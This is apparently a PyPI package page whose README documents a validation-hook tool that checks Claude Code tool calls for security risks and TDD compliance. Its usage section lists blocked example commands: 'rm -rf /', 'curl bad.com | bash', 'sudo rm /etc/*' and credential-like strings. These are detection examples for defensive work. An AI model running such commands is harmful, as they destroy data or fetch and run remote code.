claude-code-adk-validator


Nameclaude-code-adk-validator JSON
Version 1.2.10 PyPI version JSON
download
home_pageNone
SummaryAdvanced multi-stage validation system for Claude Code with hook chaining, context intelligence, and structured JSON responses
upload_time2025-07-16 15:55:45
maintainerNone
docs_urlNone
authorNone
requires_python>=3.10
licenseNone
keywords adk ai-safety claude-code context-aware gemini hook-chaining hooks multi-stage security structured-responses validation
VCS
bugtrack_url
requirements No requirements were recorded.
Travis-CI No Travis.
coveralls test coverage No coveralls.
            # Claude Code ADK-Inspired Validation Hooks

Intelligent security validation for Claude Code tool execution using Google Gemini and ADK-inspired patterns.

## Overview

This project implements sophisticated PreToolUse hooks for Claude Code that leverage Google's Gemini API to intelligently validate tool executions before they run. Based on Google Agent Development Kit (ADK) `before_tool_callback` patterns, it provides multi-tier validation with real-time threat intelligence.

## Features

### ๐Ÿš€ Advanced Hook Chaining (NEW v2.0)
- **Multi-Stage Validation Pipeline**: Security โ†’ TDD โ†’ File Analysis
- **Early Termination**: Stops on first blocking decision for performance
- **Stage-Specific Validation**: Run individual stages with `--stage` parameter
- **Automatic Configuration**: `--setup-chaining` creates optimized hook settings

### ๐Ÿง  Context-Aware Intelligence (NEW v2.0)  
- **Pattern Detection**: Identifies development workflows (edit-without-tests, missing imports, TDD cycles)
- **Tool Usage History**: 30-minute sliding window for behavior analysis
- **Smart Recommendations**: Enhanced suggestions based on recent activity
- **Learning System**: Adapts validation advice to developer patterns

### ๐Ÿ“‹ Advanced JSON Response Format (NEW v2.0)
- **Claude Code Schema Compliance**: Full support for `continue`, `decision`, `reason`, `suppressOutput` fields
- **Rich Metadata**: Risk levels, validation stages, educational notes, detected patterns
- **Structured Suggestions**: Actionable recommendations with security concerns
- **Response Builder**: Type-safe response construction with validation

### ๐Ÿ›ก๏ธ Defense-in-Depth Validation (NEW v2.0)
- **Dual-Layer Protection**: Every stage uses both rule-based and LLM analysis
- **Security Stage**: Pattern matching + Gemini threat analysis (~4s total)
- **TDD Stage**: Pytest checking + Gemini compliance verification (~4s total)
- **File Analysis**: Size-based triggers + Gemini content inspection
- **Fail-Safe Design**: LLM errors never block legitimate operations

### Advanced Capabilities
- **Structured Output**: Pydantic models ensure reliable JSON responses
- **Google Search Integration**: Real-time threat intelligence and security best practices
- **Thinking Budget**: 24576 tokens for deep security reasoning
- **File Upload Analysis**: Enhanced security analysis for large files (>500 chars)
- **Document Processing**: Comprehensive analysis of file contents
- **Precise Secret Detection**: Improved patterns with reduced false positives

### ๐Ÿงช Test-Driven Development Enforcement (v1.2.1)
- **FileStorage-Based Validation**: Uses persistent file storage instead of real-time pytest execution
- **Python-Specific TDD Prompts**: Advanced prompts in prompts/ directory for TDD analysis
- **Pytest Reporter Plugin**: Captures test results via pytest plugin for validation
- **Smart Language Detection**: Only enforces TDD for programming files (.py, .js, .ts, .go, etc.)
- **Red Phase Enforcement**: Blocks implementation without failing tests
- **Green Phase Support**: Allows implementation when tests are failing
- **Refactor Phase**: Permits changes when all tests pass
- **Test File Recognition**: Allows test_*.py, *.test.js patterns
- **Configuration Files**: Skips validation for .json, .yml, .md files
- **Error Handling**: Fallback to rule-based validation when LLM fails

### Security Patterns Detected
- Destructive commands (`rm -rf /`, `mkfs`, `dd`)
- Real credential assignments (quoted values, specific formats)
- Shell injection patterns
- Path traversal attempts
- Malicious download patterns (`curl | bash`)
- System directory modifications
- AWS keys, JWTs, GitHub tokens, and other known secret formats

### Tool Enforcement (Blocked Commands)
- **grep** โ†’ Enforces `rg` (ripgrep) for better performance
- **find** โ†’ Enforces `rg --files` alternatives for modern searching  
- **python/python3** โ†’ Enforces `uv run python` for proper dependency management

- **git checkout** โ†’ Enforces `gh issue develop` for better issue tracking
- **cat > file** โ†’ Enforces `Write/Edit` tools for file creation with validation

### Development Best Practices
- **No Emojis**: Code must not contain emojis for compatibility and professionalism
- **Branch Protection**: Direct editing on main/master branch is blocked
- **Documentation via Issues**: New .md files (except README, CLAUDE, etc.) must use GitHub issues
- **Issue-Driven Development**: Use `gh issue develop` to create feature branches linked to issues

### Python TDD Enforcement (v1.2.1)
- **FileStorage-Based Architecture**: Uses persistent file storage instead of real-time pytest execution
- **Advanced TDD Prompts**: Python-specific prompts in prompts/ directory for sophisticated analysis
- **Pytest Reporter Plugin**: Captures test results via pytest_reporter.py plugin
- **Test Result Processing**: Formats pytest JSON output into structured TDD analysis
- **Virtual Environment Detection**: Automatically detects and uses project venv via python_env_detector.py
- **TDD States Tracked**:
  - **RED**: Writing failing tests (allowed)
  - **GREEN**: Making tests pass with minimal code (allowed)  
  - **REFACTOR**: Improving code with all tests passing (allowed)
  - **VIOLATION**: Writing code without tests, removing tests, etc. (blocked)
- **Error Handling**: Graceful fallback to rule-based validation when LLM analysis fails

## Installation

### Quick Start with uvx (Recommended)

```bash
# Basic single-stage validation setup
uvx claude-code-adk-validator --setup

# Advanced multi-stage hook chaining (NEW v2.0)
uvx claude-code-adk-validator --setup-chaining

# Or install globally
uv tool install claude-code-adk-validator
```

### Prerequisites
- Python 3.10+
- `uv` package manager
- Google Gemini API access

### Manual Installation

1. **Clone and setup environment:**
```bash
git clone https://github.com/jihunkim0/jk-hooks-gemini-challenge.git
cd jk-hooks-gemini-challenge
uv sync
```

2. **Configure environment:**
```bash
export GEMINI_API_KEY="your_actual_gemini_api_key"
```

3. **Configure Claude Code hooks:**

#### Basic Single-Stage Configuration
Create/update `.claude/settings.local.json`:
```json
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Write|Edit|Bash|MultiEdit|Update",
        "hooks": [
          {
            "type": "command", 
            "command": "uvx claude-code-adk-validator",
            "timeout": 8000
          }
        ]
      }
    ]
  }
}
```

#### Advanced Hook Chaining Configuration (NEW v2.0)
For multi-stage validation pipeline:
```json
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Write|Edit|MultiEdit|Update",
        "hooks": [
          {
            "type": "command",
            "command": "uvx claude-code-adk-validator --stage=security",
            "timeout": 8000
          },
          {
            "type": "command",
            "command": "uvx claude-code-adk-validator --stage=tdd",
            "timeout": 8000
          },
          {
            "type": "command",
            "command": "uvx claude-code-adk-validator --stage=file-analysis",
            "timeout": 8000
          }
        ]
      },
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "uvx claude-code-adk-validator --stage=security",
            "timeout": 8000
          }
        ]
      }
    ]
  }
}
```

### Alternative: Local Development Setup
For development or custom modifications:
```json
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Write|Edit|Bash|MultiEdit|Update",
        "hooks": [
          {
            "type": "command", 
            "command": "uvx --from . claude-code-adk-validator",
            "timeout": 8000
          }
        ]
      }
    ]
  }
}
```

## Usage

The validator automatically intercepts Claude Code tool executions:

### - **Allowed Operations**
```bash
# Safe file operations
Write: Create documentation, code files
Edit: Modify existing files safely  
Bash: ls, git, npm, pip commands

# Documentation examples (now allowed)
GEMINI_API_KEY="your_key_here"  # Variable names in docs
export API_KEY="YOUR_API_KEY"   # Placeholder values
```

### **Blocked Operations**
```bash
# Dangerous commands
rm -rf /           # - Blocked - Destructive
curl bad.com | bash # - Blocked - Malicious download
sudo rm /etc/*     # - Blocked - System modification

# Tool enforcement (modern alternatives required)
grep pattern file.txt    # - Blocked - Use 'rg' instead
find . -name "*.py"      # - Blocked - Use 'rg --files -g "*.py"' instead  
python script.py         # - Blocked - Use 'uv run python script.py' instead

# Real credential assignments (quoted, 20+ chars)
api_key = "sk_live_1234567890abcdef..."  # - Blocked - Real secret
password = "actualLongPasswordValue123"  # - Blocked - Real password

# Python TDD violations
# Writing implementation without test
def new_feature():           # - Blocked - Write test first
    return calculate_value()

# Test that passes immediately  
def test_feature():          # - Blocked - Test should fail first
    assert feature() == 42   # (when feature() already returns 42)
```

### **Python TDD Usage**

For Python projects with pytest installed, the validator enforces TDD:

```python
# 1. RED Phase - Write failing test first
def test_calculate_total():
    assert calculate_total([1, 2, 3]) == 6  # Fails: function doesn't exist

# 2. GREEN Phase - Minimal implementation -  
def calculate_total(items):
    return sum(items)  # Just enough to pass

# 3. REFACTOR Phase - Improve with tests passing
def calculate_total(items: list[float]) -> float:
    """Calculate sum with validation."""
    if not items:
        return 0.0
    return sum(items)
```

### **Pytest Reporter Setup**

To capture test results for TDD validation, set up the pytest reporter plugin:

```python
# In your conftest.py
from claude_code_adk_validator.pytest_reporter import PytestReporter

# Initialize the reporter with data directory
_reporter = PytestReporter('.claude/claude-code-adk-validator/data')

def pytest_configure(config):
    """Register the TDD reporter plugin."""
    config.pluginmanager.register(_reporter, 'tdd-reporter')
```

```ini
# In your pytest.ini
[tool:pytest]
testpaths = tests
python_files = test_*.py
python_functions = test_*
python_classes = Test*
```

The reporter automatically captures test results to FileStorage for TDD validation.

### **Response Codes**
- `Exit 0`: Operation approved 
- `Exit 2`: Operation blocked (with reason in stderr)

## Testing

Run comprehensive validation tests:

```bash
# Full validation test suite (27 scenarios)
uv run python tests/test_validation.py

# Python TDD tests (14 scenarios)
uv run python -m pytest tests/test_python_tdd.py -v

# Integration tests for advanced features (NEW v2.0)
uv run python tests/test_integration_advanced_features.py

# Hook chaining tests
uv run python tests/test_hook_chaining.py

# Advanced JSON response tests
uv run python tests/test_advanced_responses.py

# Context-aware response tests
uv run python tests/test_context_aware_responses.py

# Code quality checks (all must pass)
uvx ruff check claude_code_adk_validator/
uvx mypy claude_code_adk_validator/  
uvx black --check claude_code_adk_validator/

# Auto-fix formatting and linting issues
uvx black claude_code_adk_validator/
uvx ruff check --fix claude_code_adk_validator/
```

## Architecture

### Core Components

1. **ClaudeToolValidator** (`claude_code_adk_validator/validator.py`)
   - Main validation engine
   - File upload and analysis
   - Structured output generation
   - Improved secret detection
   - Python TDD integration

2. **TDD Validation System (v1.2.1)**
   - **TDDValidator** (`validators/tdd_validator.py`): Python TDD enforcement with FileStorage
   - **FileStorage** (`file_storage.py`): Persistent test result storage
   - **PytestReporter** (`pytest_reporter.py`): Captures pytest results
   - **PythonEnvDetector** (`python_env_detector.py`): Detects virtual environments
   - **TDD Prompts** (`prompts/`): Python-specific TDD analysis prompts
     - `tdd_core_principles.py`: Core TDD principles and patterns
     - `write_analysis.py`: Write operation analysis prompts
     - `edit_analysis.py`: Edit operation analysis prompts
     - `python_error_mappings.py`: Python error interpretation

3. **Validation Tiers**
   - **Quick validation**: Rule-based pattern matching
   - **Gemini analysis**: LLM-powered threat assessment  
   - **File analysis**: Enhanced security scanning for large files
   - **TDD validation**: Python-specific TDD enforcement with FileStorage
   - **Context analysis**: Smart workflow pattern detection

4. **Response Models (v1.2.1)**
   - `HookResponse`: Claude Code compliant JSON responses with rich metadata
   - `ResponseBuilder`: Type-safe response construction utilities
   - `ValidationStage`: Pipeline stage identification (security, tdd, file_analysis)
   - `RiskLevel`: Categorized risk assessment (low, medium, high, critical)

5. **Context Intelligence (v1.2.1)**
   - `ToolUsageEvent`: Historical tool usage tracking
   - `ContextAnalyzer`: Pattern detection (edit-without-tests, missing imports, TDD cycles)
   - Tool usage history with 30-minute sliding window
   - Enhanced recommendations based on developer behavior

6. **Security Validation**
   - **SecurityValidator** (`validators/security_validator.py`): Fast rule-based + context-aware security
   - **FileAnalysisValidator** (`validators/file_analysis_validator.py`): Enhanced file scanning

### Secret Detection Improvements

Enhanced patterns with reduced false positives:

- **Word boundaries**: Prevents matching variable names like `GEMINI_API_KEY`
- **Placeholder exclusion**: Ignores `YOUR_API_KEY`, `<SECRET>`, etc.
- **Quoted value requirements**: Focuses on actual string assignments
- **Minimum length**: Requires 20+ characters for generic secrets
- **Specific formats**: Detects AWS keys, JWTs, GitHub tokens directly

### ADK Integration Patterns

Following Google ADK `before_tool_callback` methodology:

```python
def before_tool_callback(self, tool_request: dict) -> Optional[dict]:
    """ADK-inspired validation returning None (allow) or error dict (block)"""
    validation_result = self.validate_tool_use(tool_name, tool_input, context)
    return None if validation_result["approved"] else {"error": validation_result["reason"]}
```

## Configuration

### Environment Variables
- `GEMINI_API_KEY`: Required for Gemini API access
- Missing key allows all operations (fail-safe mode)

### Hook Configuration
- **Matcher**: `Write|Edit|Bash|MultiEdit|Update` - Tools to validate
- **Timeout**: 8000ms - Adequate for file upload analysis
- **Command**: Full path to validator script

### Model Settings
- **Model**: `gemini-2.5-flash` - Optimized for speed and accuracy
- **Thinking Budget**: 24576 tokens for complex reasoning
- **Structured Output**: JSON schema validation via Pydantic

## Development

### Project Structure
```
claude-code-adk-validator/
   claude_code_adk_validator/
      __init__.py               # Package metadata
      main.py                   # CLI entry point
      validator.py              # Main validation engine
      hook_response.py          # Advanced JSON response models
      context_analyzer.py       # Context-aware intelligence
      file_storage.py           # Persistent test result storage (NEW v1.2.1)
      pytest_reporter.py       # Pytest result capture plugin (NEW v1.2.1)
      python_env_detector.py   # Virtual environment detection
      validators/               # Modular validation pipeline
         security_validator.py  # Security + context awareness
         tdd_validator.py       # Python TDD enforcement with FileStorage
         file_analysis_validator.py # Enhanced file scanning
      prompts/                  # Python-specific TDD prompts (NEW v1.2.1)
         tdd_core_principles.py # Core TDD principles and patterns
         write_analysis.py      # Write operation analysis prompts
         edit_analysis.py       # Edit operation analysis prompts
         python_error_mappings.py # Python error interpretation
   tests/
      test_validation.py        # Core validation tests (27 scenarios)
      test_tdd_e2e.py          # End-to-end TDD tests (NEW v1.2.1)
      test_file_storage.py     # FileStorage tests (NEW v1.2.1)
      test_pytest_reporter.py  # Pytest reporter tests (NEW v1.2.1)
      test_python_env_detector.py # Environment detector tests (NEW v1.2.1)
      test_hook_chaining.py     # Hook chaining tests
      test_advanced_responses.py # JSON response tests
      test_context_aware_responses.py # Context intelligence tests
      test_integration_advanced_features.py # Integration tests
   .github/
      workflows/               # CI/CD automation
   pyproject.toml              # Package configuration
   CLAUDE.md                   # Development guidance
   CONTRIBUTING.md             # Contribution guidelines
   LICENSE                     # MIT License
   README.md                   # This file
```

### Adding New Security Patterns

1. **Rule-based patterns** (Tier 1): Add to `validate_bash_command()` or `validate_file_operation()`
2. **LLM analysis** (Tier 2): Update validation prompt in `build_validation_prompt()`
3. **File analysis** (Tier 3): Enhance `analyze_uploaded_file()` prompt

See [CONTRIBUTING.md](CONTRIBUTING.md) for detailed guidelines.

## Contributing

1. Follow existing code patterns and security principles
2. Add tests for new validation patterns in `tests/`
3. Run quality checks: `uvx ruff`, `uvx mypy`, `uvx black`
4. Update documentation for new features

See [CONTRIBUTING.md](CONTRIBUTING.md) for detailed contribution guidelines.

## Security Considerations

- **Fail-safe**: Missing API key allows operations (prevents lockout)
- **Performance**: Quick validation for common patterns
- **Privacy**: Temporary files cleaned up after analysis
- **Reliability**: Structured output prevents parsing errors
- **Precision**: Improved secret detection reduces false positives

## Recent Improvements

### TDD Validation Enhancement v1.2.1 (Latest)

#### ๐Ÿ—„๏ธ FileStorage-Based Architecture
- **Persistent test result storage**: Uses FileStorage instead of real-time pytest execution
- **Improved reliability**: Decouples validation from pytest execution timing
- **Better error handling**: Graceful fallback to rule-based validation
- **Performance optimization**: Avoids expensive pytest subprocess calls

#### ๐Ÿ Python-Specific TDD Prompts
- **Advanced prompt system**: Specialized prompts in `prompts/` directory
- **Core TDD principles**: Comprehensive TDD patterns and error mappings
- **Operation-specific analysis**: Different prompts for Write vs Edit operations
- **Python error interpretation**: Maps Python errors to TDD violations

#### ๐Ÿ“Š Enhanced Pytest Integration
- **Pytest reporter plugin**: Captures test results via `pytest_reporter.py`
- **TDD Guard format**: Formats test results similar to tdd-guard output
- **Virtual environment detection**: Automatically detects project environments
- **Test result processing**: Structured analysis of pytest JSON output

#### ๐Ÿงช Comprehensive Testing Infrastructure
- **End-to-end TDD tests**: `test_tdd_e2e.py` for complete workflow validation
- **FileStorage tests**: `test_file_storage.py` for storage functionality
- **Pytest reporter tests**: `test_pytest_reporter.py` for plugin validation
- **Environment detector tests**: `test_python_env_detector.py` for venv detection
- **Quality assurance**: All tests pass with mypy, black, and ruff compliance

### Enhanced Secret Detection (v1.2)
- Added word boundaries to prevent false positives on variable names
- Implemented placeholder exclusion for documentation examples
- Focus on quoted values for generic secret patterns
- Added specific patterns for AWS, GitHub, Stripe, Slack tokens
- Reduced false positives while maintaining security coverage

## Troubleshooting

### Hooks Not Triggering
If the validator isn't blocking operations:

1. **Check global settings**: Ensure `~/.claude/settings.json` has the hook configuration
2. **Check local overrides**: Look for `.claude/settings.local.json` which may override global settings
3. **Restart Claude Code**: Hook configuration changes require restart
4. **Test manually**: Verify the validator works directly:
   ```bash
   # Create test JSON file
   echo '{"tool_name":"Write","tool_input":{"file_path":"test.py","content":"def foo():\\n    pass"}}' > test.json
   cat test.json | uv run python -m claude_code_adk_validator --stage=tdd
   # Should output: "TDD Violation: Creating implementation without visible test output. Write tests first!"
   ```

### Common Error Messages
- **"Invalid JSON input"**: Check JSON escaping in hook commands
- **"GEMINI_API_KEY not configured"**: Set environment variable for LLM features
- **"Tool enforcement violation"**: Use suggested modern alternatives (rg, uv)

### Performance Issues
- **Rule-based only**: ~1.3 seconds (fast)
- **With LLM analysis**: ~4 seconds (defense-in-depth)
- **Disable LLM**: Remove `GEMINI_API_KEY` for faster validation

## License

MIT License - See LICENSE file for details
            

Raw data

            {
    "_id": null,
    "home_page": null,
    "name": "claude-code-adk-validator",
    "maintainer": null,
    "docs_url": null,
    "requires_python": ">=3.10",
    "maintainer_email": null,
    "keywords": "adk, ai-safety, claude-code, context-aware, gemini, hook-chaining, hooks, multi-stage, security, structured-responses, validation",
    "author": null,
    "author_email": "Jihun Kim <jihunkim0@noreply.github.com>",
    "download_url": "https://files.pythonhosted.org/packages/45/6f/4019d26d67f02442d20bf66fc6f75164e59da3697a6a29c169eba450692e/claude_code_adk_validator-1.2.10.tar.gz",
    "platform": null,
    "description": "# Claude Code ADK-Inspired Validation Hooks\n\nIntelligent security validation for Claude Code tool execution using Google Gemini and ADK-inspired patterns.\n\n## Overview\n\nThis project implements sophisticated PreToolUse hooks for Claude Code that leverage Google's Gemini API to intelligently validate tool executions before they run. Based on Google Agent Development Kit (ADK) `before_tool_callback` patterns, it provides multi-tier validation with real-time threat intelligence.\n\n## Features\n\n### \ud83d\ude80 Advanced Hook Chaining (NEW v2.0)\n- **Multi-Stage Validation Pipeline**: Security \u2192 TDD \u2192 File Analysis\n- **Early Termination**: Stops on first blocking decision for performance\n- **Stage-Specific Validation**: Run individual stages with `--stage` parameter\n- **Automatic Configuration**: `--setup-chaining` creates optimized hook settings\n\n### \ud83e\udde0 Context-Aware Intelligence (NEW v2.0)  \n- **Pattern Detection**: Identifies development workflows (edit-without-tests, missing imports, TDD cycles)\n- **Tool Usage History**: 30-minute sliding window for behavior analysis\n- **Smart Recommendations**: Enhanced suggestions based on recent activity\n- **Learning System**: Adapts validation advice to developer patterns\n\n### \ud83d\udccb Advanced JSON Response Format (NEW v2.0)\n- **Claude Code Schema Compliance**: Full support for `continue`, `decision`, `reason`, `suppressOutput` fields\n- **Rich Metadata**: Risk levels, validation stages, educational notes, detected patterns\n- **Structured Suggestions**: Actionable recommendations with security concerns\n- **Response Builder**: Type-safe response construction with validation\n\n### \ud83d\udee1\ufe0f Defense-in-Depth Validation (NEW v2.0)\n- **Dual-Layer Protection**: Every stage uses both rule-based and LLM analysis\n- **Security Stage**: Pattern matching + Gemini threat analysis (~4s total)\n- **TDD Stage**: Pytest checking + Gemini compliance verification (~4s total)\n- **File Analysis**: Size-based triggers + Gemini content inspection\n- **Fail-Safe Design**: LLM errors never block legitimate operations\n\n### Advanced Capabilities\n- **Structured Output**: Pydantic models ensure reliable JSON responses\n- **Google Search Integration**: Real-time threat intelligence and security best practices\n- **Thinking Budget**: 24576 tokens for deep security reasoning\n- **File Upload Analysis**: Enhanced security analysis for large files (>500 chars)\n- **Document Processing**: Comprehensive analysis of file contents\n- **Precise Secret Detection**: Improved patterns with reduced false positives\n\n### \ud83e\uddea Test-Driven Development Enforcement (v1.2.1)\n- **FileStorage-Based Validation**: Uses persistent file storage instead of real-time pytest execution\n- **Python-Specific TDD Prompts**: Advanced prompts in prompts/ directory for TDD analysis\n- **Pytest Reporter Plugin**: Captures test results via pytest plugin for validation\n- **Smart Language Detection**: Only enforces TDD for programming files (.py, .js, .ts, .go, etc.)\n- **Red Phase Enforcement**: Blocks implementation without failing tests\n- **Green Phase Support**: Allows implementation when tests are failing\n- **Refactor Phase**: Permits changes when all tests pass\n- **Test File Recognition**: Allows test_*.py, *.test.js patterns\n- **Configuration Files**: Skips validation for .json, .yml, .md files\n- **Error Handling**: Fallback to rule-based validation when LLM fails\n\n### Security Patterns Detected\n- Destructive commands (`rm -rf /`, `mkfs`, `dd`)\n- Real credential assignments (quoted values, specific formats)\n- Shell injection patterns\n- Path traversal attempts\n- Malicious download patterns (`curl | bash`)\n- System directory modifications\n- AWS keys, JWTs, GitHub tokens, and other known secret formats\n\n### Tool Enforcement (Blocked Commands)\n- **grep** \u2192 Enforces `rg` (ripgrep) for better performance\n- **find** \u2192 Enforces `rg --files` alternatives for modern searching  \n- **python/python3** \u2192 Enforces `uv run python` for proper dependency management\n\n- **git checkout** \u2192 Enforces `gh issue develop` for better issue tracking\n- **cat > file** \u2192 Enforces `Write/Edit` tools for file creation with validation\n\n### Development Best Practices\n- **No Emojis**: Code must not contain emojis for compatibility and professionalism\n- **Branch Protection**: Direct editing on main/master branch is blocked\n- **Documentation via Issues**: New .md files (except README, CLAUDE, etc.) must use GitHub issues\n- **Issue-Driven Development**: Use `gh issue develop` to create feature branches linked to issues\n\n### Python TDD Enforcement (v1.2.1)\n- **FileStorage-Based Architecture**: Uses persistent file storage instead of real-time pytest execution\n- **Advanced TDD Prompts**: Python-specific prompts in prompts/ directory for sophisticated analysis\n- **Pytest Reporter Plugin**: Captures test results via pytest_reporter.py plugin\n- **Test Result Processing**: Formats pytest JSON output into structured TDD analysis\n- **Virtual Environment Detection**: Automatically detects and uses project venv via python_env_detector.py\n- **TDD States Tracked**:\n  - **RED**: Writing failing tests (allowed)\n  - **GREEN**: Making tests pass with minimal code (allowed)  \n  - **REFACTOR**: Improving code with all tests passing (allowed)\n  - **VIOLATION**: Writing code without tests, removing tests, etc. (blocked)\n- **Error Handling**: Graceful fallback to rule-based validation when LLM analysis fails\n\n## Installation\n\n### Quick Start with uvx (Recommended)\n\n```bash\n# Basic single-stage validation setup\nuvx claude-code-adk-validator --setup\n\n# Advanced multi-stage hook chaining (NEW v2.0)\nuvx claude-code-adk-validator --setup-chaining\n\n# Or install globally\nuv tool install claude-code-adk-validator\n```\n\n### Prerequisites\n- Python 3.10+\n- `uv` package manager\n- Google Gemini API access\n\n### Manual Installation\n\n1. **Clone and setup environment:**\n```bash\ngit clone https://github.com/jihunkim0/jk-hooks-gemini-challenge.git\ncd jk-hooks-gemini-challenge\nuv sync\n```\n\n2. **Configure environment:**\n```bash\nexport GEMINI_API_KEY=\"your_actual_gemini_api_key\"\n```\n\n3. **Configure Claude Code hooks:**\n\n#### Basic Single-Stage Configuration\nCreate/update `.claude/settings.local.json`:\n```json\n{\n  \"hooks\": {\n    \"PreToolUse\": [\n      {\n        \"matcher\": \"Write|Edit|Bash|MultiEdit|Update\",\n        \"hooks\": [\n          {\n            \"type\": \"command\", \n            \"command\": \"uvx claude-code-adk-validator\",\n            \"timeout\": 8000\n          }\n        ]\n      }\n    ]\n  }\n}\n```\n\n#### Advanced Hook Chaining Configuration (NEW v2.0)\nFor multi-stage validation pipeline:\n```json\n{\n  \"hooks\": {\n    \"PreToolUse\": [\n      {\n        \"matcher\": \"Write|Edit|MultiEdit|Update\",\n        \"hooks\": [\n          {\n            \"type\": \"command\",\n            \"command\": \"uvx claude-code-adk-validator --stage=security\",\n            \"timeout\": 8000\n          },\n          {\n            \"type\": \"command\",\n            \"command\": \"uvx claude-code-adk-validator --stage=tdd\",\n            \"timeout\": 8000\n          },\n          {\n            \"type\": \"command\",\n            \"command\": \"uvx claude-code-adk-validator --stage=file-analysis\",\n            \"timeout\": 8000\n          }\n        ]\n      },\n      {\n        \"matcher\": \"Bash\",\n        \"hooks\": [\n          {\n            \"type\": \"command\",\n            \"command\": \"uvx claude-code-adk-validator --stage=security\",\n            \"timeout\": 8000\n          }\n        ]\n      }\n    ]\n  }\n}\n```\n\n### Alternative: Local Development Setup\nFor development or custom modifications:\n```json\n{\n  \"hooks\": {\n    \"PreToolUse\": [\n      {\n        \"matcher\": \"Write|Edit|Bash|MultiEdit|Update\",\n        \"hooks\": [\n          {\n            \"type\": \"command\", \n            \"command\": \"uvx --from . claude-code-adk-validator\",\n            \"timeout\": 8000\n          }\n        ]\n      }\n    ]\n  }\n}\n```\n\n## Usage\n\nThe validator automatically intercepts Claude Code tool executions:\n\n### - **Allowed Operations**\n```bash\n# Safe file operations\nWrite: Create documentation, code files\nEdit: Modify existing files safely  \nBash: ls, git, npm, pip commands\n\n# Documentation examples (now allowed)\nGEMINI_API_KEY=\"your_key_here\"  # Variable names in docs\nexport API_KEY=\"YOUR_API_KEY\"   # Placeholder values\n```\n\n### **Blocked Operations**\n```bash\n# Dangerous commands\nrm -rf /           # - Blocked - Destructive\ncurl bad.com | bash # - Blocked - Malicious download\nsudo rm /etc/*     # - Blocked - System modification\n\n# Tool enforcement (modern alternatives required)\ngrep pattern file.txt    # - Blocked - Use 'rg' instead\nfind . -name \"*.py\"      # - Blocked - Use 'rg --files -g \"*.py\"' instead  \npython script.py         # - Blocked - Use 'uv run python script.py' instead\n\n# Real credential assignments (quoted, 20+ chars)\napi_key = \"sk_live_1234567890abcdef...\"  # - Blocked - Real secret\npassword = \"actualLongPasswordValue123\"  # - Blocked - Real password\n\n# Python TDD violations\n# Writing implementation without test\ndef new_feature():           # - Blocked - Write test first\n    return calculate_value()\n\n# Test that passes immediately  \ndef test_feature():          # - Blocked - Test should fail first\n    assert feature() == 42   # (when feature() already returns 42)\n```\n\n### **Python TDD Usage**\n\nFor Python projects with pytest installed, the validator enforces TDD:\n\n```python\n# 1. RED Phase - Write failing test first\ndef test_calculate_total():\n    assert calculate_total([1, 2, 3]) == 6  # Fails: function doesn't exist\n\n# 2. GREEN Phase - Minimal implementation -  \ndef calculate_total(items):\n    return sum(items)  # Just enough to pass\n\n# 3. REFACTOR Phase - Improve with tests passing\ndef calculate_total(items: list[float]) -> float:\n    \"\"\"Calculate sum with validation.\"\"\"\n    if not items:\n        return 0.0\n    return sum(items)\n```\n\n### **Pytest Reporter Setup**\n\nTo capture test results for TDD validation, set up the pytest reporter plugin:\n\n```python\n# In your conftest.py\nfrom claude_code_adk_validator.pytest_reporter import PytestReporter\n\n# Initialize the reporter with data directory\n_reporter = PytestReporter('.claude/claude-code-adk-validator/data')\n\ndef pytest_configure(config):\n    \"\"\"Register the TDD reporter plugin.\"\"\"\n    config.pluginmanager.register(_reporter, 'tdd-reporter')\n```\n\n```ini\n# In your pytest.ini\n[tool:pytest]\ntestpaths = tests\npython_files = test_*.py\npython_functions = test_*\npython_classes = Test*\n```\n\nThe reporter automatically captures test results to FileStorage for TDD validation.\n\n### **Response Codes**\n- `Exit 0`: Operation approved \n- `Exit 2`: Operation blocked (with reason in stderr)\n\n## Testing\n\nRun comprehensive validation tests:\n\n```bash\n# Full validation test suite (27 scenarios)\nuv run python tests/test_validation.py\n\n# Python TDD tests (14 scenarios)\nuv run python -m pytest tests/test_python_tdd.py -v\n\n# Integration tests for advanced features (NEW v2.0)\nuv run python tests/test_integration_advanced_features.py\n\n# Hook chaining tests\nuv run python tests/test_hook_chaining.py\n\n# Advanced JSON response tests\nuv run python tests/test_advanced_responses.py\n\n# Context-aware response tests\nuv run python tests/test_context_aware_responses.py\n\n# Code quality checks (all must pass)\nuvx ruff check claude_code_adk_validator/\nuvx mypy claude_code_adk_validator/  \nuvx black --check claude_code_adk_validator/\n\n# Auto-fix formatting and linting issues\nuvx black claude_code_adk_validator/\nuvx ruff check --fix claude_code_adk_validator/\n```\n\n## Architecture\n\n### Core Components\n\n1. **ClaudeToolValidator** (`claude_code_adk_validator/validator.py`)\n   - Main validation engine\n   - File upload and analysis\n   - Structured output generation\n   - Improved secret detection\n   - Python TDD integration\n\n2. **TDD Validation System (v1.2.1)**\n   - **TDDValidator** (`validators/tdd_validator.py`): Python TDD enforcement with FileStorage\n   - **FileStorage** (`file_storage.py`): Persistent test result storage\n   - **PytestReporter** (`pytest_reporter.py`): Captures pytest results\n   - **PythonEnvDetector** (`python_env_detector.py`): Detects virtual environments\n   - **TDD Prompts** (`prompts/`): Python-specific TDD analysis prompts\n     - `tdd_core_principles.py`: Core TDD principles and patterns\n     - `write_analysis.py`: Write operation analysis prompts\n     - `edit_analysis.py`: Edit operation analysis prompts\n     - `python_error_mappings.py`: Python error interpretation\n\n3. **Validation Tiers**\n   - **Quick validation**: Rule-based pattern matching\n   - **Gemini analysis**: LLM-powered threat assessment  \n   - **File analysis**: Enhanced security scanning for large files\n   - **TDD validation**: Python-specific TDD enforcement with FileStorage\n   - **Context analysis**: Smart workflow pattern detection\n\n4. **Response Models (v1.2.1)**\n   - `HookResponse`: Claude Code compliant JSON responses with rich metadata\n   - `ResponseBuilder`: Type-safe response construction utilities\n   - `ValidationStage`: Pipeline stage identification (security, tdd, file_analysis)\n   - `RiskLevel`: Categorized risk assessment (low, medium, high, critical)\n\n5. **Context Intelligence (v1.2.1)**\n   - `ToolUsageEvent`: Historical tool usage tracking\n   - `ContextAnalyzer`: Pattern detection (edit-without-tests, missing imports, TDD cycles)\n   - Tool usage history with 30-minute sliding window\n   - Enhanced recommendations based on developer behavior\n\n6. **Security Validation**\n   - **SecurityValidator** (`validators/security_validator.py`): Fast rule-based + context-aware security\n   - **FileAnalysisValidator** (`validators/file_analysis_validator.py`): Enhanced file scanning\n\n### Secret Detection Improvements\n\nEnhanced patterns with reduced false 